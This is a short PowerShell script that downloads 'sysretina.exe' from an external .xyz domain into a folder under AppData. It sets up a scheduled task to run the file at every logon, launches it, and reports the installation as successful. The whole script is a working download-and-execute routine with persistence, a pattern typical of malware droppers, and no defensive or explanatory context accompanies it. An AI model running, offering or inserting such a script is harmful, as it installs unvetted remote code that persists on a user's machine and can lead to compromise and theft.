$url = "https://retina.danihere.xyz/sysretina.exe"
$dir = "$env:APPDATA\retina"
$exe = "$dir\sysretina.exe"
cd $env:APPDATA
mkdir retina
cd retina
curl.exe -O $url
if (Test-Path $exe) {
    schtasks /create /tn "retina Startup" /tr "$exe" /sc ONLOGON /f
    Start-Process -FilePath $exe
    Write-Host "Installation completed successfully"
} else {
    Write-Host "Installation failed"
}